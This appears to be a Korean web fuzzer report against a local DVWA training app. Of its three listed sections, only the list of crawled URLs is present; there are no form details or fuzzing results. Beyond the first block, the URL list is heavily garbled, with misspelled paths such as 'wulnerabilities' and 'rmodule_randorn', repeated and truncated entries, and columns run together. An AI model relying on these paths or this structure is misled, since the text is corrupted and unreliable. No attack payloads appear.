# 웹 퍼저 리포트

2025-07-03 16:01:35

## 목차

- 1. 크롤링 URL
- 2. 입력 폼 정보
- 3. 퍼징 탐지 결과

## 1. 크<del>롤</del>링 URL

크롤링한 URL
http://localhost:8000/#module_tokenizer
http://localhost:8000/#module_xmlreader
http://localhost:8000/instructions.php?doc=PDF
http://localhost:8000/instructions.php?doc=changelog
http://localhost:8000/instructions.php?doc=copying
http://localhost:8000/vulnerabilities/javascript
http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=1
http://localhost:8000/?doc=PDF
http://localhost:8000/#module_openssl
http://localhost:8000/vulnerabilities/xss_d
http://localhost:8000/README.it.md
http://localhost:8000/README.pl.md
http://localhost:8000/
http://localhost:8000/#module_spl
http://localhost:8000/#module_mysqli
http://localhost:8000/logout.php
http://localhost:8000/README.tr.md
http://localhost:8000/phpinfo.php
http://localhost:8000/#module_gd
http://localhost:8000/vulnerabilities/fi/?page=file3.php
http://localhost:8000/vulnerabilities/fi/?page=file2.php
http://localhost:8000/vulnerabilities/brute
http://localhost:8000/vulnerabilities/open_redirect
http://localhost:8000/README.ar.md
http://localhost:8000/vulnerabilities/csp
http://localhost:8000/#module_simplexml
http://localhost:8000/#module_iconv
http://localhost:8000/README.fr.md
http://localhost:8000/security.php
http://localhost:8000/vulnerabilities/csrf
http://localhost:8000/?doc=readme
http://localhost:8000/#database-setup
http://localhost:8000/#module_sodium
http://localhost:8000/#module_ctype
http://localhost:8000/#i-want-to-run-dvwa-on-a-different-port
http://localhost:8000/vulnerabilities/exec
http://localhost:8000/#module_pdo_sqlite
http://localhost:8000/?doc=copying
http://localhost:8000/#module_date

http://localhost:8000/vulnerabilities/fi/?page=file1.php http://localhost:8000/spin.php http://localhost:8000/rdc=changelog http://localhost:8000/rtmodule_core http://localhost:8000/rtmodule_standard http://localhost:8000/rtmodule_tlibxml http://localhost:8000/rtmodule_tlibxml http://localhost:8000/rtmodule_pdo http://localhost:8000/vulnerabilities/capi http://localhost:8000/vulnerabilities/api http://localhost:8000/vulnerabilities/api http://localhost:8000/vulnerabilities/upload http://localhost:8000/vulnerabilities/spload http://localhost:8000/vulnerabilities/spload http://localhost:8000/vulnerabilities/spli http://localhost:8000/vulnerabilities/spli http://localhost:8000/vulnerabilities/spli http://localhost:8000/readmle_nore http://localhost:8000/readmle_posix http://localhost:8000/rmodule_filenfo http://localhost:8000/rmodule_splitie3 http://localhost:8000/rmodule_splitie3 http://localhost:8000/rmodule_splitie3 http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_ml http://localhost:8000/rmodule_ml http://localhost:8000/rmodule_ml http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_pore http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_randorn http://localhost:8000/rmodule_pore http://localhost:8000/rmodule_preflection http://localhost:8000/rmodule_randorn http://localhost:8000/rulnerabilities/rss_r http://localhost:8000/rulnerabilities/rss_r http://localhost:80	
http://localhost:8000/reduc=changelog http://localhost:8000/rdoc=changelog http://localhost:8000/module_core http://localhost:8000/module_standard http://localhost:8000/module_libkm/ http://localhost:8000/module_glown http://localhost:8000/module_pdo http://localhost:8000/wlnerabilities/api http://localhost:8000/wlnerabilities/api http://localhost:8000/wlnerabilities/upload http://localhost:8000/module_curl http://localhost:8000/module_curl http://localhost:8000/module_stand http://localhost:8000/module_rabilities/sqli http://localhost:8000/module_rabilities/sqli http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.vi.md http://localhost:8000/module_glieincph_dist http://localhost:8000/module_spoix http://localhost:8000/wlnerabilities/xss_f http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wphp-configuration	http://localhost:8000/vulnerabilities/fi/?page=file1.php
http://localhost:8000/#module_core http://localhost:8000/#module_standard http://localhost:8000/#module_standard http://localhost:8000/#module_libxml http://localhost:8000/#module_libxml http://localhost:8000/#module_pdo http://localhost:8000/#module_pdo http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/#module_filenfo http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_sjson http://localhost:8000/#module_sjson http://localhost:8000/wulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/#module_xml http://localhost:8000/#module_xml http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/module_pcre http://localhost:8000/wulnerabilities/sql_blind http://localhost:8000/wulnerabilities/sql_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_blind http://localhost:8000/wulnerabilities/syl_page=include.php http://localhost:8000/wulnerabilities/syl_page=include.php http://localhost:8000/wulnerabilities/syl_page=include.php http://localhost:8000/#mod	http://localhost:8000/login.php
http://localhost:8000/#module_standard http://localhost:8000/#module_standard http://localhost:8000/mmodule_libxml http://localhost:8000/mmodule_pdo http://localhost:8000/mmodule_pdo http://localhost:8000/mmodule_pdo http://localhost:8000/wlunerabilities/api http://localhost:8000/wlunerabilities/api http://localhost:8000/wlunerabilities/upload http://localhost:8000/mmodule_curl http://localhost:8000/README.fa.md http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/mmodule_posix http://localhost:8000/mmodule_sqlite3 http://localhost:8000/mmodule_salite3 http://localhost:8000/mmodule_salite3 http://localhost:8000/mmodule_salite3 http://localhost:8000/mmodule_salite3 http://localhost:8000/mmodule_m	http://localhost:8000/setup.php
http://localhost:8000/#module_standard http://localhost:8000/wulnerabilities/cryptography http://localhost:8000/#module_plob http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/wulnerabilities/sqli http://localhost:8000/#module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_son http://localhost:8000/#module_son http://localhost:8000/wulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/#module_xml http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/syli_blind http://localhost:8000/wulnerabilities/weak_id http://localhost:8000/wulnerabilities/weak_id http://localhost:8000/wulnerabilities/syli_blind http://localhost:8000/wulnerabilities/syli_blind http://localhost:8000/wulnerabilities/syli_blind	http://localhost:8000/?doc=changelog
http://localhost:8000/wlnerabilities/cryptography http://localhost:8000/#module_pibxml http://localhost:8000/wlnerabilities/api http://localhost:8000/wlnerabilities/api http://localhost:8000/wlnerabilities/upload http://localhost:8000/wlnerabilities/upload http://localhost:8000/wlnerabilities/sqli http://localhost:8000/wlnerabilities/sqli http://localhost:8000/wlnerabilities/sqli http://localhost:8000/wlnerabilities/sqli http://localhost:8000/readDME_fa.md http://localhost:8000/README_fa.md http://localhost:8000/module_fileinfo http://localhost:8000/module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_son http://localhost:8000/#module_random http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/wmodule_xml http://localhost:8000/wmodule_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_preflection http://localhost:8000/page=file1.php http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wlnerabilities/sys_r http://localhost:8000/wlnerabilities/sys_r http://localhost:8000/wlnerabilities/sys_page=include.php http://localhost:8000/wlnerabilities/sys_s_r http://localhost:8000/wlnerabilities/sys_s_s	http://localhost:8000/#module_core
http://localhost:8000/#module_pdo http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/api http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/spload http://localhost:8000/wulnerabilities/spli http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/mg.config.inc.php.dist http://localhost:8000/#module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_posix http://localhost:8000/#module_posix http://localhost:8000/#module_josix http://localhost:8000/#module_josix http://localhost:8000/#module_josix http://localhost:8000/#module_josin http://localhost:8000/#module_josin http://localhost:8000/#module_josin http://localhost:8000/#module_josin http://localhost:8000/#module_josin http://localhost:8000/wmodule_josin http://localhost:8000/#module_josin http://localhost:8000/#module_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_josin http://localhost:8000/wmodule_mobstring http://localhost:8000/wmodule_mobstring http://localhost:8000/wmodule_apache2handler http://localhost:8000/wmodule_apache2handler http://localhost:8000/wmodule_apache2handler	http://localhost:8000/#module_standard
http://localhost:8000/wulnerabilities/api http://localhost:8000/vulnerabilities/upload http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/upload http://localhost:8000/wulnerabilities/sqli http://localhost:8000/README_fa.md http://localhost:8000/README_ko.md http://localhost:8000/README_ko.md http://localhost:8000/kmodule_fileinfo http://localhost:8000/kmodule_fileinfo http://localhost:8000/kmodule_posix http://localhost:8000/#module_posix http://localhost:8000/mmodule_sqlite3 http://localhost:8000/wmodule_sqlite3 http://localhost:8000/wmodule_random http://localhost:8000/wmodule_random http://localhost:8000/wmodule_xh.md http://localhost:8000/wmodule_stliter http://localhost:8000/wmodule_filter http://localhost:8000/wmodule_pcre http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_pre http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/spli_blind	http://localhost:8000/vulnerabilities/cryptography
http://localhost:8000/vulnerabilities/api http://localhost:8000/vulnerabilities/upload http://localhost:8000/README_fa.md http://localhost:8000/README_fa.md http://localhost:8000/README_fa.md http://localhost:8000/README_fa.md http://localhost:8000/README_ko.md http://localhost:8000/README_ko.md http://localhost:8000/README_vo.md http://localhost:8000/README_vi.md http://localhost:8000/README_vi.md http://localhost:8000/README_vi.md http://localhost:8000/ReADME_vi.md http://localhost:8000/ReadMe_sqlite3 http://localhost:8000/ReadMe_random http://localhost:8000/Memodule_json http://localhost:8000/Memodule_random http://localhost:8000/wo.mlerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/wo.dule_xml http://localhost:8000/Memodule_mile http://localhost:8000/Memodule_pcre http://localhost:8000/Memodule_pre http://localhost:8000/Memodule_pre http://localhost:8000/module_reflection http://localhost:8000/module_zlib http://localhost:8000/wollnerabilities/ssjli_blind http://localhost:8000/wollnerabilities/sss_r http://localhost:8000/wollnerabilities/sss_r http://localhost:8000/wollnerabilities/syss_r http://localhost:8000/wollnerabilities/syss_s http://localhost:8000/wollnerabilities/weak_id http://localhost:8000/wollnerabilities/weak_id http://localhost:8000/wollnerabilities/syss_s http://localhost:8000/wollnerabilities/sys_s http://localhost:8000/wollnerabilities/sy	http://localhost:8000/#module_libxml
http://localhost:8000/about.php http://localhost:8000/wulnerabilities/upload http://localhost:8000/README.fa.md http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/readme.glieinfo http://localhost:8000/README.wi.md http://localhost:8000/module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_random http://localhost:8000/#module_random http://localhost:8000/wulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/wulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/wulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/wulnerabilities/spli_blind http://localhost:8000/wulnerabilities/spli_blind http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/wulnerabilities/xss_r http://localhost:8000/wulnerabilities/xss_r http://localhost:8000/wulnerabilities/xss_s	http://localhost:8000/#module_pdo
http://localhost:8000/wlnerabilities/upload http://localhost:8000/README.fa.md http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.wi.md http://localhost:8000/README.gile3 http://localhost:8000/README.gile3 http://localhost:8000/README.gile3 http://localhost:8000/README.gile3 http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.gile3 http://localhost:8000/README.gile3 http://localhost:8000/README.gile3 http://localhost:8000/Readme.gile4 http://localhost:8000/Readme.gile4 http://localhost:8000/Readme.gile4 http://localhost:8000/wlnerabilities/sqli_blind	http://localhost:8000/vulnerabilities/api
http://localhost:8000/#module_curl http://localhost:8000/README.fa.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.ko.md http://localhost:8000/README.vi.md http://localhost:8000/#module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_random http://localhost:8000/#module_random http://localhost:8000/ulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/Wmodule_xnl http://localhost:8000/#module_miter http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_reflection http://localhost:8000/wmodule_reflection http://localhost:8000/wmodule_reflection http://localhost:8000/wmodule_zilb http://localhost:8000/wmodule_pre http://localhost:8000/wmodule_mbstring http://localhost:8000/#module_mbstring http://localhost:8000/#module_apache2handler http://localhost:8000/#module_apache2handler http://localhost:8000/#module_apache2handler	http://localhost:8000/about.php
http://localhost:8000/README.fa.md http://localhost:8000/vulnerabilities/sqli http://localhost:8000/README.ko.md http://localhost:8000/emodule_fileinfo http://localhost:8000/README.vi.md http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_json http://localhost:8000/#module_random http://localhost:8000/wmodule_random http://localhost:8000/wmodule_random http://localhost:8000/wmodule_xnl http://localhost:8000/#module_mliter http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/#module_pre http://localhost:8000/wmodule_reflection http://localhost:8000/wmodule_reflection http://localhost:8000/wmodule_reflection http://localhost:8000/wmodule_rabilities/sqli_blind http://localhost:8000/wmodule_zilb http://localhost:8000/wmodule_pte http://localhost:8000/wmodule_mbstring http://localhost:8000/wmodule_mbstring http://localhost:8000/wmodule_apache2handler http://localhost:8000/#module_apache2handler http://localhost:8000/#mpodule_apache2handler	http://localhost:8000/vulnerabilities/upload
http://localhost:8000/vulnerabilities/sqli http://localhost:8000/README.ko.md http://localhost:8000/config.config.inc.php.dist http://localhost:8000/#module_fileinfo http://localhost:8000/#module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_ison http://localhost:8000/#module_random http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/ypage=file1.php http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wlnerabilities/sss_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/wlnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/wlnerabilities/sss_s	http://localhost:8000/#module_curl
http://localhost:8000/README.ko.md http://localhost:8000/config/config.inc.php.dist http://localhost:8000/#module_fileinfo http://localhost:8000/#module_gosix http://localhost:8000/#module_posix http://localhost:8000/#module_josn http://localhost:8000/#module_josn http://localhost:8000/#module_josn http://localhost:8000/#module_random http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/page=file1.php http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wlnerabilities/ssyli_blind http://localhost:8000/wlnerabilities/sys_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/wlnerabilities/weak_id http://localhost:8000/wlnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/sss_s	http://localhost:8000/README.fa.md
http://localhost:8000/config/config.inc.php.dist http://localhost:8000/#module_fileinfo http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_ison http://localhost:8000/#module_random http://localhost:8000/windeabilities/open_redirect/source/info.php?id=2 http://localhost:8000/#module_xml http://localhost:8000/#module_xml http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/#module_reflection http://localhost:8000/windeabilities/sqli_blind http://localhost:8000/windeabilities/sss_r http://localhost:8000/windeabilities/xss_r http://localhost:8000/windeabilities/fi/?page=include.php http://localhost:8000/windeabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/windeabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/sqli
http://localhost:8000/#module_fileinfo http://localhost:8000/README.vi.md http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_json http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/page=file1.php http://localhost:8000/page=file1.php http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wlnerabilities/xss_r http://localhost:8000/vulnerabilities/rypage=include.php http://localhost:8000/vulnerabilities/fi/page=include.php http://localhost:8000/wlnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#pp-configuration	http://localhost:8000/README.ko.md
http://localhost:8000/README.vi.md http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_json http://localhost:8000/#module_random http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/wmodule_zlib http://localhost:8000/wmodule_zlib http://localhost:8000/vulnerabilities/ri/page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_module_wilng http://localhost:8000/#module_module_wilng http://localhost:8000/#module_module_module_wilng http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/config/config.inc.php.dist
http://localhost:8000/#module_posix http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_json http://localhost:8000/wmodule_random http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/page=file1.php http://localhost:8000/wmodule_zlib http://localhost:8000/wmodule_zlib http://localhost:8000/wmodule_zlib http://localhost:8000/wulnerabilities/sys_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/wulnerabilities/wak_id http://localhost:8000/wmodule_mbstring http://localhost:8000/#module_mbstring http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/wmodule_apache2handler http://localhost:8000/#module_apache2handler	http://localhost:8000/#module_fileinfo
http://localhost:8000/#module_sqlite3 http://localhost:8000/#module_json http://localhost:8000/#module_random http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_pcre http://localhost:8000/page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/wmodule_zlib http://localhost:8000/vulnerabilities/sys_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/#module_apache2handler http://localhost:8000/#module_apache2handler	http://localhost:8000/README.vi.md
http://localhost:8000/#module_json http://localhost:8000/wlnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_preflection http://localhost:8000/wulnerabilities/sqli_blind http://localhost:8000/wlnerabilities/sqli_blind http://localhost:8000/wulnerabilities/xss_r http://localhost:8000/vulnerabilities/ri/?page=include.php http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/wlnerabilities/weak_id http://localhost:8000/wlnerabilities/syss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/wlnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_posix
http://localhost:8000/#module_random http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/wulnerabilities/syli_blind http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/wulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#ownload http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_sqlite3
http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2 http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/vulnerabilities/sxs_r http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_json
http://localhost:8000/README.zh.md http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/wilnerabilities/sss_r http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/wilnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wilnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_random
http://localhost:8000/#module_xml http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/?page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/wulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2
http://localhost:8000/#module_filter http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/?page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/wmodule_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/vulnerabilities/ri/?page=include.php http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wmodule_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/README.zh.md
http://localhost:8000/#module_pcre http://localhost:8000/#module_reflection http://localhost:8000/?page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_xml
http://localhost:8000/#module_reflection http://localhost:8000/?page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_filter
http://localhost:8000/?page=file1.php http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/wulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_pcre
http://localhost:8000/vulnerabilities/sqli_blind http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_reflection
http://localhost:8000/#module_zlib http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/?page=file1.php
